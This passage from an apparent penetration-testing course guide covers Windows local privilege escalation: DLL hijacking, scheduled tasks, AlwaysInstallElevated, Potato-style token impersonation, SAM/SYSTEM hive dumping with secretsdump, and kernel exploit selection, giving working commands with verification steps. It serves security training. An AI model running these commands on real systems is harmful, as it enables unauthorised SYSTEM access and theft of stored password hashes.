Confirmed only if: path contains spaces and is unquoted; an earlier attempted executable such as C:\Program.exe or C:\Program Files\Vendor.exe is absent and creatable; service runs higher; trigger exists. A listed unquoted path alone is a false positive.

5.2.10.7 Worked example — hypothetical

Observation: a service uses an unquoted Program Files path. Test: inspect each attempted prefix and its directory ACL. Illustrative output: all earlier prefixes are protected. Interpretation: this is not an exploitable path under the current identity.

5.2.10.8 Verify the result

Confirm the earlier prefix is actually selected after the trigger and verify its resulting token.

5.2.10.9 Failure and fallback

A quoted path, existing protected earlier file, unwritable directory or absent trigger defeats the chain.

5.2.10.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A privileged object appears writable or an ACL tool reports a useful rightCorrect trustee/token, object type and effective rights including parents and deny entries§5.2.6 — Prove effective file, registry and service-object permissions
A privileged service consumes a file whose bytes or parent replacement are controllableEffective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger§5.2.9 — Replace a privileged service binary or consumed file
A new Windows session or claimed administrator/SYSTEM transitionA functioning command channel and the actual effective token/process context§5.2.5 — Establish Windows token, host and process context

5.2.11 Control a privileged DLL, helper or configuration load

Choose when: A privileged application searches for a missing dependency or consumes writable configuration · Result: Verified privileged consumption of the chosen dependency

Blocks: 9. Operational procedure | Quick sheet

5.2.11.1 Purpose and result

Verified privileged consumption of the chosen dependency.

5.2.11.2 Recognition clues

A privileged application searches for a missing dependency or consumes writable configuration.

5.2.11.2.1 Find the clue from your starting access

Where to investigate: Investigate a privileged application with observed dependency failures; if permitted, filter its runtime file loads in Procmon before checking candidate directory ACLs.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Conditions, effects and verification

Requires: Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Verify the actual loaded path and privileged effect; a file placed on disk is not a completed chain.

Failure/next check: Wrong ABI/exports, earlier trusted resolution or no load trigger blocks the method.

Procmon, when accessible: filter the actual process; inspect requested .dll paths and NAME NOT FOUND results.
Record the exact requested filename and every searched location.
Then inspect the selected location's effective ACL with the owning procedure.

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

PROCESS CreateFile C:\SEARCH_PATH\missing.dll NAME NOT FOUND
Privilege and selected search order: not yet verified

Recognize this detail: An actual requested missing dependency is stronger than guessing a DLL name, but does not prove an attacker-controlled resolution wins.

Still missing before method selection: Validate real privilege, search precedence/KnownDLLs/manifests, directory control, ABI/exports and a load trigger.

Outcome after checkingExample and next decision
Enabled after validationThe privileged process selects the controlled compatible dependency: choose that load route.
Ruled out in this contextA trusted manifest/earlier location resolves it before the writable directory: reject that path.
InconclusiveNo runtime visibility leaves loading behavior unresolved; retain it as a candidate rather than declaring hijack success.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.11.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger.

5.2.11.4 Discover and verify prerequisites

icacls "C:\Path\To\Application"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"

5.2.11.5 Why it works

DLL loading can involve KnownDLLs, manifests, redirection, packages and explicit search flags before ordinary directories. A missing DLL name or writable directory alone does not establish selection.

5.2.11.6 Execute and choose variants

Confirm:

  1. exact DLL/helper/config name and architecture;
  2. privileged process actually requests it;
  3. selected attacker-writable location precedes the legitimate resolution;
  4. payload preserves required exports/behavior where necessary;
  5. reliable trigger exists.
icacls "C:\Path\To\Application"
sc.exe qc SERVICE
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode

Modern DLL resolution can apply redirection, API sets, side-by-side manifests, loaded modules, KnownDLLs, package dependencies and application-specific search flags before ordinary directories. Safe DLL search mode is enabled by default. In a suitable lab, Procmon filters for the process, CreateFile, .dll, and NAME NOT FOUND provide decisive runtime evidence; low-privilege remote use may be unavailable.

5.2.11.7 Worked example — hypothetical

Observation: runtime evidence shows a privileged process requests a missing DLL. Test: verify the effective search order and writable candidate location. Illustrative output: a trusted manifest redirects the load elsewhere. Interpretation: reject that candidate and inspect another dependency.

5.2.11.8 Verify the result

Verify the actual loaded path and privileged effect; a file placed on disk is not a completed chain.

5.2.11.9 Failure and fallback

Wrong ABI/exports, earlier trusted resolution or no load trigger blocks the method.

5.2.11.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
An existing C/C++ or platform-specific PoC matches the candidateCorrect compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants§4.1.7 — Compile and minimally adapt an existing native or memory-corruption PoC
A privileged object appears writable or an ACL tool reports a useful rightCorrect trustee/token, object type and effective rights including parents and deny entries§5.2.6 — Prove effective file, registry and service-object permissions
A new Windows session or claimed administrator/SYSTEM transitionA functioning command channel and the actual effective token/process context§5.2.5 — Establish Windows token, host and process context

5.2.12 Control scheduled tasks, startup files or autostart consumers

Choose when: A task/startup action consumes a writable command, file, directory or registry value · Result: Verified privileged task or startup execution

Blocks: 9. Operational procedure | Quick sheet

5.2.12.1 Purpose and result

Verified privileged task or startup execution.

5.2.12.2 Recognition clues

A task/startup action consumes a writable command, file, directory or registry value.

5.2.12.2.1 Find the clue from your starting access

Where to investigate: Enumerate task definitions and inspect the action, principal, arguments and working directory before permission-checking its files.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Conditions, effects and verification

Requires: Effective object control, a higher principal and a usable scheduled/logon/manual trigger

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Check the actual effect and token after the trigger; task-run acceptance alone is insufficient.

Failure/next check: Wrong principal, stale action, denied trigger or a different working directory can invalidate the candidate.

schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Principal: SYSTEM
Action: powershell.exe -File C:\APP\job.ps1
Trigger: scheduled
File control: inspect separately

Recognize this detail: A named privileged task exposes a concrete consumer and action path to investigate.

Still missing before method selection: Read the task's exact action, principal and trigger with schtasks or Get-ScheduledTask. Check icacls on its file/parents and prove the stronger identity will consume the controlled path at a reachable trigger.

Outcome after checkingExample and next decision
Enabled after validationThe controllable action is consumed under the expected higher token: select the task route.
Ruled out in this contextThe real principal is the same low user: reject assumed elevation.
InconclusiveTask registration or run acceptance without process/effect evidence leaves execution unresolved.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.12.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Effective object control, a higher principal and a usable scheduled/logon/manual trigger.

5.2.12.4 Discover and verify prerequisites

schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml

5.2.12.5 Why it works

RunLevel Highest selects the configured principal's highest available token; it does not mean SYSTEM. A writable user startup entry usually runs as that user.

5.2.12.6 Execute and choose variants

5.2.12.6.1.1 Find privileged tasks or startup consumers you can influence Scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml
Get-ScheduledTask | ForEach-Object {
  $t = $_
  [pscustomobject]@{
    TaskPath=$t.TaskPath; TaskName=$t.TaskName
    UserId=$t.Principal.UserId; RunLevel=$t.Principal.RunLevel
    Actions=($t.Actions | ForEach-Object { "$($_.Execute) $($_.Arguments) [wd=$($_.WorkingDirectory)]" }) -join '; '
  }
}
icacls "C:\Path\To\task-script.ps1"
icacls "C:\Path\To"
schtasks /run /tn "\FOLDER\TASK"

Prove action, arguments, working directory, principal, actual trigger and effective ACL. RunLevel Highest means the configured principal's highest available token, not SYSTEM. /run success means the request was accepted; verify process/effect and last-run result.

5.2.12.6.1.1.1 Run keys and startup consumers
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"

Need a modifiable consumed value/file plus a higher-privileged boot/logon/application trigger. A writable PATH directory matters only when a privileged consumer invokes an unqualified executable through that effective PATH.

5.2.12.7 Worked example — hypothetical

Observation: a writable script is named in a scheduled task. Test: inspect principal, arguments, working directory and trigger. Illustrative output: the task runs as the same low user. Interpretation: it is not a local privilege escalation under that configuration.

5.2.12.8 Verify the result

Check the actual effect and token after the trigger; task-run acceptance alone is insufficient.

5.2.12.9 Failure and fallback

Wrong principal, stale action, denied trigger or a different working directory can invalidate the candidate.

5.2.12.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A privileged object appears writable or an ACL tool reports a useful rightCorrect trustee/token, object type and effective rights including parents and deny entries§5.2.6 — Prove effective file, registry and service-object permissions
A new Windows session or claimed administrator/SYSTEM transitionA functioning command channel and the actual effective token/process context§5.2.5 — Establish Windows token, host and process context
Effective SERVICE_CHANGE_CONFIG on a higher-privileged serviceConfiguration-change right, accessible compatible payload path and a separate start/restart trigger§5.2.8 — Change a privileged service's executable configuration

5.2.13 Validate elevated installer policy and administrative-token context

Choose when: Installer policy values or an administrator account with a filtered token · Result: A verified installer-policy execution route or a precise token-boundary assessment

Blocks: 9. Operational procedure | Quick sheet

5.2.13.1 Purpose and result

A verified installer-policy execution route or a precise token-boundary assessment.

5.2.13.2 Recognition clues

Installer policy values or an administrator account with a filtered token.

5.2.13.2.1 Find the clue from your starting access

Where to investigate: Inspect both machine/user installer-policy values and the current token before inferring an elevated MSI or UAC-context route.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Conditions, effects and verification

Requires: AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Verify both relevant conditions and actual resulting token; keep UAC-context claims narrower than full privilege escalation.

Failure/next check: One policy value, blocked MSI execution or an incompatible protected token defeats the assumed route.

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
whoami /all

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

HKLM AlwaysInstallElevated REG_DWORD 0x1
HKCU AlwaysInstallElevated: value not found

Recognize this detail: One policy value is insufficient; the two-policy conjunction is the key recognition condition.

Still missing before method selection: For installer execution verify both applicable values and permitted MSI/runtime; assess UAC administrator/token prerequisites separately.

Outcome after checkingExample and next decision
Enabled after validationBoth required policies and a compatible permitted installer consumer exist: validate that route's effect.
Ruled out in this contextThe required user policy is absent/disabled: reject this elevated-installer method.
InconclusivePolicy visibility failure or unknown effective context requires another check.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.13.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context.

5.2.13.4 Discover and verify prerequisites

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
whoami /all

5.2.13.5 Why it works

Both installer policies must enable the feature. UAC elevation and standard-user-to-administrator escalation have different prerequisites; a token/consent mechanism is not a universal boundary bypass.

5.2.13.6 Execute and choose variants

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both values must be 0x1:

msiexec.exe /quiet /qn /i C:\Path\To\PAYLOAD.msi

One key or a zero value disproves the route. This is an unsafe installer policy, not a universal UAC bypass.

whoami /groups
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

A UAC bypass normally elevates an already-administrative filtered token. Build/policy-specific bypasses are not a baseline path for a standard user.

5.2.13.7 Worked example — hypothetical

Observation: only the machine installer value is enabled. Test: check the user policy and actual token. Illustrative output: user policy is absent. Interpretation: the elevated-installer route is not enabled; investigate another privileged consumer.

5.2.13.8 Verify the result

Verify both relevant conditions and actual resulting token; keep UAC-context claims narrower than full privilege escalation.

5.2.13.9 Failure and fallback

One policy value, blocked MSI execution or an incompatible protected token defeats the assumed route.

5.2.13.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A new Windows session or claimed administrator/SYSTEM transitionA functioning command channel and the actual effective token/process context§5.2.5 — Establish Windows token, host and process context
whoami /priv exposes a relevant token privilegeThe exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context§5.2.14 — Select a privilege-backed impersonation or object-control route
An existing exploit/delivery primitive needs a binary or raw payloadVerified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener§4.2.9 — Generate a payload matching OS, process, format and handler

5.2.14 Select a privilege-backed impersonation or object-control route

Choose when: whoami /priv exposes a relevant token privilege · Result: A verified token-backed identity or privileged-object operation

Blocks: 9. Operational procedure | Quick sheet

5.2.14.1 Purpose and result

A verified token-backed identity or privileged-object operation.

5.2.14.2 Recognition clues

whoami /priv exposes a relevant token privilege.

5.2.14.2.1 Find the clue from your starting access

Where to investigate: Inspect the current token's privileges, then map a relevant privilege to an actual protected operation and available source/trigger.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Conditions, effects and verification

Requires: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Verify the resulting token or concrete protected-object operation, not the tool's success text.

Failure/next check: Missing token source, filtered token, protected process or driver-signing/build differences change the route; inspect the specific prerequisite.

whoami /priv
whoami /all

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SeImpersonatePrivilege   Impersonate a client after authentication   Enabled

Recognize this detail: An impersonation capability is present; the privileged authentication source required by a specific tool is not established.

Still missing before method selection: Read whoami /priv and whoami /all. Match the exact privilege, enabled state and token context to the technique's required API/trigger, then verify the resulting identity; the privilege name alone is not SYSTEM.

Outcome after checkingExample and next decision
Enabled after validationThe required source and privileged token operation work: select that compatible method.
Ruled out in this contextThe required authentication service/source is unavailable: reject that tool's chain.
InconclusivePrivilege presence alone leaves exploit selection unresolved.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.14.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context.

5.2.14.4 Discover and verify prerequisites

whoami /priv
whoami /all

5.2.14.5 Why it works

SeImpersonate, backup/restore, debug, ownership and driver privileges enable different operations. A privilege name does not guarantee a particular exploit tool or a privileged token source.

5.2.14.6 Execute and choose variants

whoami /priv
PrivilegeRequired next proof
SeImpersonatePrivilegeCompatible privileged client/coercion, impersonation level, build/runtime/tool and process creation
SeAssignPrimaryTokenPrivilegeUseful primary token plus process/quota requirements
SeBackupPrivilegeEnabled privilege, backup-aware read and useful protected data
SeRestorePrivilegeRestore-aware write plus privileged consumer/trigger
SeDebugPrivilegeUsable target process and no protected-process barrier
SeLoadDriverPrivilegeCompatible signed/loadable driver and stable exploit path
SeTakeOwnershipPrivilegeOwnership change, then DACL/content control and consumer
5.2.14.6.1 Impersonation-tool variants
PrintSpoofer64.exe -i -c "cmd.exe"
GodPotato-NET4.exe -cmd "cmd.exe /c whoami > C:\Windows\Temp\token-proof.txt"

Choose by OS build, architecture, runtime and available trigger. A privilege name alone does not select a working “Potato.” Success is a SYSTEM process/effect followed by whoami /all; connection/token/process errors route back to prerequisites.

5.2.14.6.2 Backup privilege to local credential material
reg save HKLM\SAM C:\Windows\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

Use the matched hive pair. Output is local credential material, not automatic SYSTEM/domain/remote authorization; classify and validate it through the credential procedure.

5.2.14.7 Worked example — hypothetical

Observation: SeImpersonatePrivilege is present. Test: match a documented tool's service/build/trigger requirements to the host. Illustrative output: the required privileged authentication source is unavailable. Interpretation: reject that tool's route while retaining the privilege observation.

5.2.14.8 Verify the result

Verify the resulting token or concrete protected-object operation, not the tool's success text.

5.2.14.9 Failure and fallback

Missing token source, filtered token, protected process or driver-signing/build differences change the route; inspect the specific prerequisite.

5.2.14.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A token has the relevant backup rights and protected registry/files are a useful credential sourceUsable backup privilege, compatible backup API/command and a matched protected source set with a writable destination§5.2.15 — Use backup privilege to obtain protected local credential material
A controlled Windows host may hold useful logged-on identitiesRequired process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material§6.3.11.5 — Obtain accessible live logon-session credential material
An exact vulnerable local component is present after simpler paths are assessedAffected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions§5.2.16 — Select a matching application, driver or kernel exploit

5.2.15 Use backup privilege to obtain protected local credential material

Choose when: A token has the relevant backup rights and protected registry/files are a useful credential source · Result: Matched credential material suitable for offline parsing

Blocks: 9. Operational procedure | Quick sheet

5.2.15.1 Purpose and result

Matched credential material suitable for offline parsing.

5.2.15.2 Recognition clues

A token has the relevant backup rights and protected registry/files are a useful credential source.

5.2.15.2.1 Find the clue from your starting access

Where to investigate: Inspect the actual token for backup-related rights and distinguish a privilege-aware read API from an ordinary file copy.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Conditions, effects and verification

Requires: Usable backup privilege, compatible backup API/command and a matched protected source set with a writable destination

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Verify complete matched source artifacts and exact account mapping after parsing.

Failure/next check: Ordinary file-copy denial does not disprove backup semantics; missing required hives or protection can still prevent useful extraction.

whoami /priv

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SeBackupPrivilege   Back up files and directories   Disabled

Recognize this detail: The privilege is assigned but initially disabled; permitted software may enable it for backup-semantic reads.

Still missing before method selection: Check that the privilege can actually be used, supporting API/context, complete matched source set and writable output.

Outcome after checkingExample and next decision
Enabled after validationA permitted backup-aware operation produces matched protected source files: select offline extraction.
Ruled out in this contextThe token has no required privilege and no alternate read permission: reject this backup route.
InconclusiveOrdinary copy denial does not settle a backup-semantic operation; verify the API rather than inferring absence.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.15.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Usable backup privilege, compatible backup API/command and a matched protected source set with a writable destination.

5.2.15.4 Discover and verify prerequisites

whoami /priv
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

5.2.15.5 Why it works

Backup-mode read access can bypass ordinary read ACLs through supporting APIs; it does not grant arbitrary execution. Matched registry hives supply the key material required for credential parsing.

5.2.15.6 Execute and choose variants

5.2.15.6.1 Backup privilege to local credential material
reg save HKLM\SAM C:\Windows\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

Use the matched hive pair. Output is local credential material, not automatic SYSTEM/domain/remote authorization; classify and validate it through the credential procedure.

5.2.15.7 Worked example — hypothetical

Observation: a backup-capable account cannot directly read a protected file. Test: use the documented privilege-aware hive-save route. Illustrative output: matched SAM/SYSTEM files are obtained. Interpretation: parse offline and classify the resulting local hashes.

5.2.15.8 Verify the result

Verify complete matched source artifacts and exact account mapping after parsing.

5.2.15.9 Failure and fallback

Ordinary file-copy denial does not disprove backup semantics; missing required hives or protection can still prevent useful extraction.

5.2.15.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
Protected local registry material is available under sufficient host privilegeMatched SAM/SYSTEM from the same system and appropriate read/backup access§6.3.11.6 — Extract local account hashes from matched SAM and SYSTEM
An NT verifier from an appropriate credential sourceCorrect account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights§3.1.11 — Recover or reuse an NT password hash
A secret-like value, key file, stored hash, challenge response or ticketArtifact provenance and format; possible local/domain/application identity and compatible protocol§3.1.5 — Classify the artifact and its identity context

5.2.16 Select a matching application, driver or kernel exploit

Choose when: An exact vulnerable local component is present after simpler paths are assessed · Result: A justified local exploit and independently verified higher-privilege result

Blocks: 9. Operational procedure | Quick sheet

5.2.16.1 Purpose and result

A justified local exploit and independently verified higher-privilege result.

5.2.16.2 Recognition clues

An exact vulnerable local component is present after simpler paths are assessed.

5.2.16.2.1 Find the clue from your starting access

Where to investigate: Collect OS build/patch and relevant installed driver/application versions before comparing any local-exploit requirement.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Conditions, effects and verification

Requires: Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Verify target hostname and resulting effective token; preserve reviewed PoC modifications privately.

Failure/next check: A crash or compilation success does not prove escalation. Wrong build, missing driver or mitigations require another supported path.

Get-ComputerInfo | Select-Object OsBuildNumber,OsArchitecture
Get-HotFix
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,PathName

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

OS build: BUILD
Driver: DRIVER_NAME at DRIVER_PATH
Affected driver version: not yet established

Recognize this detail: The exact component/build is the candidate evidence; an OS-family name or one missing KB is insufficient.

Still missing before method selection: Verify vendor patch state, required driver/service/feature, architecture and PoC assumptions.

Outcome after checkingExample and next decision
Enabled after validationThe affected configuration and compatible reviewed artifact are confirmed: select the bounded exploit test.
Ruled out in this contextThe driver/feature is absent or the installed version is fixed: reject that candidate.
InconclusiveAn incomplete update inventory leaves vulnerability unconfirmed.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.16.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions.

5.2.16.4 Discover and verify prerequisites

Get-ComputerInfo | Select-Object WindowsProductName,WindowsVersion,OsBuildNumber
Get-HotFix
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,PathName

5.2.16.5 Why it works

OS family names and missing-update lists are candidate evidence. Vendor patch state, driver version and mitigations determine applicability.

5.2.16.6 Execute and choose variants

Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*',
                 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' -ErrorAction SilentlyContinue |
  Select-Object DisplayName,DisplayVersion,Publisher,InstallLocation
systeminfo
driverquery /v

Prefer deterministic credential/permission/configuration paths. Then verify exact privileged application or driver version/configuration. Use kernel exploits last after exact build, architecture, cumulative update, mitigations, prerequisites, source and crash risk are checked. Avoid Win32_Product; it is slow and can trigger MSI repair.

5.2.16.7 Worked example — hypothetical

Observation: an enumerator names a driver exploit. Test: inspect the installed driver version and exploit requirements. Illustrative output: the required driver is absent. Interpretation: reject the route and return to permission/application evidence.

5.2.16.8 Verify the result

Verify target hostname and resulting effective token; preserve reviewed PoC modifications privately.

5.2.16.9 Failure and fallback

A crash or compilation success does not prove escalation. Wrong build, missing driver or mitigations require another supported path.

5.2.16.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A product/version clue, advisory or component-specific public PoCExact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect§4.1.5 — Match a public exploit to the actual component and configuration
An existing C/C++ or platform-specific PoC matches the candidateCorrect compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants§4.1.7 — Compile and minimally adapt an existing native or memory-corruption PoC
A new Windows session or claimed administrator/SYSTEM transitionA functioning command channel and the actual effective token/process context§5.2.5 — Establish Windows token, host and process context

5.2.17 Turn automated Windows findings into manually verified candidates

Blocks: 9. Operational procedure | Quick sheet

5.2.17.1 Purpose and result

A shortlist of permissions, consumers and credential sources to validate.

5.2.17.2 Recognition clues

A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials.

5.2.17.2.1 Find the clue from your starting access

Where to investigate: Select a reviewed tool after checking host/runtime; treat each highlighted service, token or path as a lead to native evidence.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Conditions, effects and verification

Requires: Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Read out.txt or the helper report. Use sc.exe qc/sdshow plus icacls for a service, inspect task XML/run-as for a scheduled task, or check whoami /priv for a token finding

Failure/next check: Binary/script blocked or report empty: check architecture and PowerShell language/policy, then use native service/task/ACL checks. A blocked helper does not disprove the finding

whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Tool candidate: unquoted SERVICE path
Writable earlier prefix: not checked
Trigger: not checked

Recognize this detail: The enumerator located a configuration clue, not the full usable chain.

Still missing before method selection: Run winPEAS with log output, then inspect the exact reported service with sc qc/sc sdshow and its file with icacls. Check token highlights with whoami /priv. A collector's colored line is not the resulting elevated token.

Outcome after checkingExample and next decision
Enabled after validationThe native checks establish the complete method conditions: select its owning route.
Ruled out in this contextProtected prefixes or a low consumer disprove the proposed elevation: discard the finding's exploit interpretation.
InconclusiveTool blocking/partial visibility leaves enumeration incomplete; use native/application-specific checks.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.17.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location.

5.2.17.4 Discover and verify prerequisites

whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode

5.2.17.5 Why it works

winPEAS, PrivescCheck, Seatbelt and PowerUp collect different evidence. Highlighted services or privileges still require exact ACL, token, identity and trigger checks.

5.2.17.6 Execute and choose variants

winPEASx64.exe log
Seatbelt.exe -group=system -outputfile="C:\Windows\Temp\seatbelt-system.txt"
Seatbelt.exe -group=user -q -outputfile="C:\Windows\Temp\seatbelt-user.json"
powershell.exe -ExecutionPolicy Bypass -Command ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report TXT,HTML"
Import-Module .\PowerUp.ps1
Invoke-AllChecks

winPEAS is broad; Seatbelt is a targeted survey and publishes source rather than official binaries; PrivescCheck evaluates the current token and skips some checks when elevated; PowerUp is useful but its upstream repository was archived. AV/script-policy failure is a tooling limitation—use native checks.

Convert every highlight into:

CANDIDATE | CURRENT TOKEN | CONTROLLED INPUT | EFFECTIVE RIGHT | CONSUMER | RUN-AS | TRIGGER | EXPECTED EFFECT | STATUS

5.2.17.7 Worked example — hypothetical

Observation: a scanner flags an unquoted path. Test: inspect the earlier path prefixes and trigger. Illustrative output: none is writable. Interpretation: discard the exploit hypothesis and retain the configuration fact.

5.2.17.8 Verify the result

Read out.txt or the helper report. Use sc.exe qc/sdshow plus icacls for a service, inspect task XML/run-as for a scheduled task, or check whoami /priv for a token finding

5.2.17.9 Failure and fallback

Binary/script blocked or report empty: check architecture and PowerShell language/policy, then use native service/task/ACL checks. A blocked helper does not disprove the finding

5.2.17.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A privileged object appears writable or an ACL tool reports a useful rightCorrect trustee/token, object type and effective rights including parents and deny entries§5.2.6 — Prove effective file, registry and service-object permissions
Effective SERVICE_CHANGE_CONFIG on a higher-privileged serviceConfiguration-change right, accessible compatible payload path and a separate start/restart trigger§5.2.8 — Change a privileged service's executable configuration
whoami /priv exposes a relevant token privilegeThe exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context§5.2.14 — Select a privilege-backed impersonation or object-control route

5.2.18 Sources and shared concepts

Supplied PEN-200 Ch 17 pp494–549. Hexdump Windows modules; Microsoft access-control, service and token sources remain beside the operational procedure.

Commands and their adjacent variant conditions are synchronized extracts of the linked operational procedures. Those procedures own complete execution details; this guide owns method selection, explanations and worked reasoning. Tool availability on the learner's Kali or a target must be checked in that environment.


Top of document · Reference home